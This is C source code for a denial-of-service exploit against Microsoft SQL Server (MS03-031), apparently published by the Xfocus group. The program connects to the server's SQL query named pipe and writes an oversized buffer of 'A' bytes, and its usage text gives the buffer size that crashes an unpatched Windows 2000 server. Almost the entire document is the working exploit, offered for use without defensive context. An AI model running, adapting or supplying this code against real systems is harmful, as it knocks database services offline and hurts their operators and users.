exp for Microsoft SQL Server DoS(MS03-031) By Xfocus

////////////////////////////////////////////////////////////////////////////////
//      
//      exp for Microsoft SQL Server DoS(MS03-031)
//
//      By                : refdom
//              Email     : refdom@xxxxxxxxxx
//              Home Page : http://www.xfocus.org
//   http://www.xfocus.org/exploits/200307/expMS0331.cpp
////////////////////////////////////////////////////////////////////////////////

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>


void Usage()
{
        printf("******************************************\n");
        printf("exp for Microsoft SQL Server DoS(MS03-031)\n\n");
        printf("\t Written by Refdom\n");
        printf("\t Email: refdom@xxxxxxxxxx\n");
        printf("\t Homepage: www.xfocus.org\n\n");
        printf("Usage: DOSMSSQL.exe server buffersize\n");
        printf("eg: DOSMSSQL.exe192.168.0.1 9000\n\n");
        printf("The buffersize depends on service pack level.\n");
        printf("I test it on my server: windows 2000, mssqlserver no sp.\n");
        printf("when buffersize is 9000, the server can be crashed.\n");
        printf("\n");
        printf("*******************************************\n\n");
}


int main(int argc, char* argv[])
{
        char lpPipeName[50];
        char *lpBuffer = NULL;
        unsigned long ulSize = 0;

        BOOL bResult;
        DWORD dwWritten = 0, dwMode;
        HANDLE hPipe;

        Usage();

        printf("Starting...\n");

        if (argc != 3)
                goto Exit0;
        
        if (strlen(argv[1]) < 20)
        {
                sprintf(lpPipeName, "\\\\%s\\\\.\\pipe\\sql\\query", argv[1]);
        }
        else
        {
                printf("Error!server\n");
                goto Exit0;
        }

        ulSize= atol(argv[2]);

        lpBuffer = (char*)malloc(ulSize + 2);
        if (NULL == lpBuffer)
        {
                printf("malloc error!\n");
                goto Exit0;
        }

        memset(lpBuffer, 0, ulSize + 2);
        memset(lpBuffer, 'A', ulSize);
        *lpBuffer = '\x12';
        *(lpBuffer + 1) = '\x01';
        *(lpBuffer + 2) = '\x00';
        
        printf("Connecting Server...\n");

        hPipe = CreateFile(lpPipeName, 
                                        GENERIC_READ | GENERIC_WRITE,
                                        0,
                                        NULL,
                                        OPEN_EXISTING,
                                        0,
                                        NULL);
        if (INVALID_HANDLE_VALUE == hPipe)
        {
                printf("Error!Connect server!%d\n", GetLastError());
                goto Exit0;
        }

   dwMode = PIPE_READMODE_MESSAGE; 
   bResult = SetNamedPipeHandleState( 
      hPipe,    // pipe handle 
      &dwMode,  // new pipe mode 
      NULL,     // don't set maximum bytes 
      NULL);    // don't set maximum time 
   if (!bResult)
   {
                printf("Error!SetNamedPipeHandleState.%d\n", GetLastError());
                goto Exit0;
   }

        bResult = WriteFile(hPipe, lpBuffer, ulSize + 1, &dwWritten, NULL);

        if (!bResult)
        {
                printf("\n\tError!WriteFile.%d\n\n", GetLastError());
                printf("When see the error message, the target may be 
crashed!!\n\n");
                goto Exit0;
        }

Exit0:
        
        return 0;
}